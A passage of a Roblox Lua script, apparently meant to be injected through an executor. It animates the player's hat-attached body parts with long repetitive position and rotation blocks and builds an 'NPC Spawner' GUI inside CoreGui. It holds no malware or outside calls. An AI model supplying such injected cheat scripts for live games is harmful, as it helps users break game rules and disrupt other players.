Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
            Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(0.34, 0.5, -5.344)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-1.653, 0.5, -3.234)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                Character:WaitForChild("Torso").headattachment.Position = Vector3.new(0,1.5,-3)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(0,0.5,-3)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(0,-0.5,-3)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(1.59, 0.5, -3.253)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(-0.446, 0.5, -5.326)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(0.5,-2,-3)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(-0.5,-2,-3)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(0.5, 0.428, -3.472)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(-0.6, 0.428, -3.472)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(-0, -0.672, -3.472)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(12.95,-149.13,-172.37)
                Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(15,150,180)
                Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
                wait(0.09)
 
                head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(75, 180, -150)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-64.91, 37.86, -24.33)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(120,0,0)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75,360,180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, 3.4, 2.9)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, 2.4, 2.9)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, 1.4, 2.9)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, 1.984, 2.323)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.674, 1.968, 2.645)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.5, 0.145, 3.041)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.5, 0.2, 2.5)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, 2.5, 2.4)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, 2.5, 2.4)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, 1.4, 2.4)
 
else
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(75, 180, -150)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-64.91, 37.86, -24.33)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(120,0,0)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(75,360,180)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, 3.4, 2.9)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, 2.4, 2.9)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, 1.4, 2.9)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, 1.984, 2.323)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(0.674, 1.968, 2.645)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.5, 0.145, 3.041)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.5, 0.2, 2.5)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, 2.5, 2.4)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, 2.5, 2.4)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, 1.4, 2.4)
 
            toggle = false
     end
 end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "r" then
     if toggle == false then
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(-75, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, -75, 90)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(90, -75, 90)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(-25.66, 146.31, -163.9)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(-25.66, -146.31, -163.9)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(28.88, 162.81, 171.5)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(28.88, -162.81, 171.5)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(90, -75, 90)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(90, -75, 90)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(90, -75, 90)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, -2.447, -2.112)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, -2.706, -3.077)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, -2.965, -4.043)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, -2.656, -2.457)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(1, -2.656, -2.457)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.745, -3.073, -5.297)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.255, -3.073, -5.297)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, -2.197, -3.11)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, -2.197, -3.11)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, -2.482, -4.173)
 
           toggle = true
 else
 
            Character.Humanoid.HipHeight = 0
 
            wait(0.1)
 
            Character.Humanoid.Sit = false
 
            Character.Torso.Anchored = false
 
head.Handle.Attachment.Rotation = Vector3.new(-15, 0, 0)
Hats.torso1.Handle.Attachment.Rotation = Vector3.new(90, -15, 90)
Hats.torso2.Handle.Attachment.Rotation = Vector3.new(90, -15, 90)
Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(25.66, 146.31, 163.9)
Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(25.66, -146.31, 163.9)
Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(28.88, 162.81, 171.5)
Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(28.88, -162.81, 171.5)
Hats.rightabs.Handle.Attachment.Rotation = Vector3.new(90, -15, 90)
Hats.leftabs.Handle.Attachment.Rotation = Vector3.new(90, -15, 90)
Hats.bottomabs.Handle.Attachment.Rotation = Vector3.new(90, -15, 90)
 
Character:WaitForChild("Torso").headattachment.Position = Vector3.new(2, -0.455, -4.019)
Character:WaitForChild("Torso").torso1attachment.Position = Vector3.new(2, -1.421, -4.277)
Character:WaitForChild("Torso").torso2attachment.Position = Vector3.new(2, -2.387, -4.536)
Character:WaitForChild("Torso").rightarmattachment.Position = Vector3.new(3, -0.859, -4.01)
Character:WaitForChild("Torso").leftarmattachment.Position = Vector3.new(1, -0.859, -4.01)
Character:WaitForChild("Torso").rightlegattachment.Position = Vector3.new(2.745, -3.073, -5.297)
Character:WaitForChild("Torso").leftlegattachment.Position = Vector3.new(1.255, -3.073, -5.297)
Character:WaitForChild("Torso").rightabsattachment.Position = Vector3.new(2.5, -1.195, -4.735)
Character:WaitForChild("Torso").leftabsattachment.Position = Vector3.new(1.4, -1.195, -4.735)
Character:WaitForChild("Torso").bottomabsattachment.Position = Vector3.new(2, -2.258, -5.019)
 
            toggle = false
        end
    end
end)
end)
 
NPC.Name = "NPC"
NPC.Parent = Scripts
NPC.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
NPC.BorderColor3 = Color3.fromRGB(27, 42, 53)
NPC.BorderSizePixel = 0
NPC.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
NPC.Size = UDim2.new(0, 85, 0, 32)
NPC.Font = Enum.Font.SourceSansItalic
NPC.Text = "NPC"
NPC.TextColor3 = Color3.fromRGB(0, 0, 0)
NPC.TextSize = 30.000
NPC.TextWrapped = true
NPC.MouseButton1Down:connect(function()
local NPCSpawnerGUI = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local Frame_2 = Instance.new("Frame")
local ScrollingFrame = Instance.new("ScrollingFrame")
local Animations = Instance.new("TextButton")
local WanderingNPC = Instance.new("TextButton")
local ClearNPCS = Instance.new("TextButton")
local SpawnNPC = Instance.new("TextButton")
local FollowingNPC = Instance.new("TextButton")
local Reset = Instance.new("TextButton")
local ControlNPC = Instance.new("TextButton")
local AnimationPlayer = Instance.new("TextButton")
local SpawnEasyControlNPC = Instance.new("TextButton")
local FollowPlayer = Instance.new("TextButton")
local NA = Instance.new("TextButton")
local TextButton = Instance.new("TextButton")
local Frame2 = Instance.new("Frame")
local TextLabel_2 = Instance.new("TextLabel")
local Frame_3 = Instance.new("Frame")
local TextButton_2 = Instance.new("TextButton")
local PlayAnimation = Instance.new("TextButton")
local TextBox = Instance.new("TextBox")
local Frame3 = Instance.new("Frame")
local TextLabel_3 = Instance.new("TextLabel")
local Frame_4 = Instance.new("Frame")
local TextButton_3 = Instance.new("TextButton")
local Follow = Instance.new("TextButton")
local TextBox_2 = Instance.new("TextBox")
 
--Properties:
 
NPCSpawnerGUI.Name = "NPC Spawner GUI"
NPCSpawnerGUI.Parent = game.CoreGui
NPCSpawnerGUI.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
 
Frame.Parent = NPCSpawnerGUI
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.378868729, 0, 0.0934182554, 0)
Frame.Size = UDim2.new(0, 461, 0, 41)
 
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 461, 0, 41)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "NPC Spawner GUI  by LeitungBambus#1933"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextSize = 25.000
 
Frame_2.Parent = Frame
Frame_2.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
Frame_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
Frame_2.BorderSizePixel = 0
Frame_2.Position = UDim2.new(-0.00074082613, 0, 0.985345125, 0)
Frame_2.Size = UDim2.new(0, 461, 0, 348)
 
ScrollingFrame.Parent = Frame_2
ScrollingFrame.Active = true
ScrollingFrame.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
ScrollingFrame.BorderSizePixel = 0
ScrollingFrame.Position = UDim2.new(0.0694143176, 0, 0.068965517, 0)
ScrollingFrame.Size = UDim2.new(0, 396, 0, 299)
ScrollingFrame.CanvasPosition = Vector2.new(0, 247)
 
Animations.Name = "Animations"
Animations.Parent = ScrollingFrame
Animations.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
Animations.BorderSizePixel = 0
Animations.Position = UDim2.new(0.0552113205, 0, 0.381024003, 0)
Animations.Size = UDim2.new(0, 353, 0, 47)
Animations.Font = Enum.Font.SourceSans
Animations.Text = "Animations (Only use when NPC is spawned)"
Animations.TextColor3 = Color3.fromRGB(255, 255, 255)
Animations.TextSize = 20.000
 
WanderingNPC.Name = "Wandering NPC"
WanderingNPC.Parent = ScrollingFrame
WanderingNPC.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
WanderingNPC.BorderSizePixel = 0
WanderingNPC.Position = UDim2.new(0.0549036972, 0, 0.201913536, 0)
WanderingNPC.Size = UDim2.new(0, 353, 0, 47)
WanderingNPC.Font = Enum.Font.SourceSans
WanderingNPC.Text = "Spawn Wandering NPC"
WanderingNPC.TextColor3 = Color3.fromRGB(255, 255, 255)
WanderingNPC.TextSize = 30.000
 
